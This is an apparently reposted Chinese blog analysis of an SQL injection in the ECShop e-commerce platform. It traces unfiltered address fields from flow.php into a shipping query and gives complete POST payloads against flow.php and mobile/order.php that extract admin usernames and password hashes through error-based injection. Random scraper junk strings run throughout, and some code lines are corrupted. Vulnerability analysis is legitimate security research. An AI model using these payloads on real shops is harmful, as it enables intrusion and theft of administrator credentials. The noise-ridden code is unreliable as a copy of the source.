ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
) ?) N  p/ A$ D7 q! I) t& R
7 G: Q$ f+ N6 l    漏洞关键文件：
4 F# ?+ \, P1 M: M
8 L: Q! I1 L  ^    /includes/lib_order.php
0 v  J) ^6 p5 z. q% L4 s3 X
2 y4 V) J, [8 ?- g) Y8 F7 l( Y    关键函数：


3 j9 m9 ?+ B( ?; d# O, W
01     function available_shipping_list($region_id_list)
2 d6 N4 T( E0 W1 E- D. g
02 {
1 j! Y5 `/ v9 ~" C
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
# K3 [# R; N- v+ @1 a# r
* _6 R+ l0 j: W# _" U5 d06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

) A" o* J& Q) `8 i08             'WHERE r.region_id ' . db_create_in($region_id_list) .
/ t3 \8 J, r9 i& C  d+ z
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
( W( R9 W7 C! n* S' p
' `9 q7 X  |( d" d8 W( q' K10   

11     return $GLOBALS['db']->getAll($sql);

12 }

显然对传入的参数没有任何过滤就带入了查询语句。
6 \$ }) N9 V* r$ P+ o/ X
下面我们追踪这个函数在flow.php中：
第531行：   
& w2 E" q% ~! e  K
1 $shipping_list     = available_shipping_list($region);

, n6 h2 x/ Y% E- d- F6 e8 S

* j; |5 s4 h* }

7 C5 e. ]+ F3 `* V再对传入变量进行追踪：
# `2 r: O2 V1 |9 h% x
# P+ P, N2 i1 I& i$ {第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
4 Q/ r8 S5 }% ]- u& H3 ^
6 S2 h& F0 L4 |
% y  G" k/ a7 W4 B: t' n) Q4 U( h


第473行：        
0 L" h# b* a3 L/ ?! t, \& f
7 [/ s+ a3 Z+ X, t" z6 f1 $consignee = get_consignee($_SESSION['user_id']);
; G2 ^/ o9 n# D+ s
$ j4 M0 Z. e; B$ q到了一个关键函数：
' U# e) m3 S% k8 y7 E0 _
/includes/lib_order.php
; v5 u! |, B5 k) g/ C

* p- A+ T6 ]. h: s- }$ E

4 I  T1 ~2 p/ K6 ~5 m
01 function get_consignee($user_id)

02 {

: e+ ^/ ~0 ~( w- j1 u0 l03     if (isset($_SESSION['flow_consignee']))
( R7 \( w! A3 A  W* b+ T
: f& `6 i! i+ i! d+ P! H; s04     {

: U$ U" Q0 m5 q  w; E3 G05         /* 如果存在session，则直接返回session中的收货人信息 */

( y/ B2 L- D) u2 S  ?' j' ~06   

% M7 @' j! [* X. o% Q07         return $_SESSION['flow_consignee'];
  n/ R- Y" |/ I
08     }

09     else
- p9 K/ [: W! E8 |  V- t
9 ?) h  M* e% v- f: c% N10     {
. N0 i# o) m! v4 t% }4 t
11         /* 如果不存在，则取得用户的默认收货人信息 */
/ C$ U+ v4 C& {
12         $arr = array();
0 K7 W0 k4 v" a: F% k) C2 T) B
13   
7 t& ^) \; K8 a, B8 P
14         if ($user_id > 0)
$ W' L2 d& Z9 V4 H% i+ C
4 o9 R* r) K% G: j, p+ k  d15         {
8 N+ ]) s! }3 o3 {) x, N
16             /* 取默认地址 */
" Y+ J7 W; d: Q
17             $sql = "SELECT ua.*".
: y; {# f" W" \
# X1 E' A2 {, ~4 I( c18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
9 p  k  J& K4 d, ]( [0 Y
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   

21             $arr = $GLOBALS['db']->getRow($sql);

# D% O5 G6 [0 n8 l22         }

$ A9 S  G9 G: l8 G23   
4 `" E. j) J  m4 y' \/ N
& f8 R0 ]- q- M% L7 g24         return $arr;
% a0 @1 }% D% W, s
/ W# r8 t: S( {8 D) v% |; J0 d25     }

26 }
$ L, L% c0 Z9 D! `1 @! \
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
$ v; o4 i2 ]7 h0 ~' t9 z

: s) y1 H5 B1 U9 v$ S; A) _
关键点:

2 z. z  U) r% C+ r  i6 ^" e! B第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

' C3 r9 ~/ U* d! \/ l& ]这里对传入参数反转义存入$_SESSION中。
7 t  o* G2 u2 [# K( x5 X
( c+ l. N( w) H! ]2 c7 c
: M) ]3 c7 z1 |, ~3 I# ^7 H( l8 `
2 |5 R4 Z8 q4 N# v  t  a然后看下：
6 |1 h# }1 M7 {* d, m1 K1 B  n
8 ]' w. q1 k, b& D, F% i* R" c
! h1 S* I  j- E5 P+ {
   
: \+ S1 p1 J; A# j/ Y  b+ H+ G$ y/ c
# x" m* S) d/ W% w# m& A; L01 $consignee = array(
1 u9 F; S' k$ o
5 A, |; z8 K! t8 o/ E( R( L; S02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

1 ~! v- o5 r2 c) e9 L' z& Z. r8 l' C; R) Z8 @04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
# i( o% l( J: k
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

  h$ V% i& F. c# t( H0 ~, H  X2 d08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
, V2 @0 b& y! n& E' I5 h. R
6 L+ Y5 p- n; A+ l8 o; V; t09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

" i8 `8 e0 k( c11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

0 u6 d1 z, S2 I# h. |8 c14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );
9 g* o2 q' E. p
0 e3 s* H/ l: p5 M( z* m3 ?; z好了注入就这样出现了。

7 Z* i2 i% i; ]' ]' P==================
0 R, A- Z' z7 c
注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
$ m/ r3 Q1 ~/ |6 y  x2 N7 z/ L+ o
7 t: w: f, R7 v测试程序：ECShop_V2.7.3_UTF8_release1106



1.首先需要点击一个商品加入购物车
9 K$ @( i. Z" j9 T( @1 ?( H" X  c; Y
+ A! H6 j$ P6 d; C3 r2.注册一个会员帐号
4 L3 ^- w+ l2 D$ r( K% F( z7 ^
3.post提交数据
/ ^- p' n1 K- r5 Y3 G6 X; x" v' |; R


7 p0 g# x) a! {- Y  B  D* ^) C% s; P# P1 http://127.0.0.1/ecshop/flow.php
; _2 D& n: A0 X/ G5 K/ J
. [1 T. |4 K  k& o0 c- ]2 O: D2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
5 X; p2 i5 z- C举一反三，我们根据这个漏洞我们可以继续深入挖掘：
0 [, j9 R+ F& ^+ v) k6 q# j
我们搜寻关键函数function available_shipping_list()
5 M' x9 f. p, n" Q( z) t
+ N2 _* t; A; p! r" c在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
# p( F# }3 h% Q" J. Q# G
; P: X! |- P: {, ?- Q  l1 u利用exp:
9 y0 T. X# f  g  O: @$ e
3 h7 X3 B* V" e% P7 ?1.点击一个商品，点击购买商标
" @1 d* }9 g8 b! j" G' Y1 v
2.登录会员帐号

' W! Q& |! G  f& p+ `) _! A. {$ E3.post提交：

7 y" I# }# [. l3 M6 u/ c+ a& nhttp://127.0.0.1/ecshop/mobile/order.php

$ p9 W' |4 N8 s) O
6 s1 P* t! V' N+ C- d" h
' }; o. K6 \4 P  Ecountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=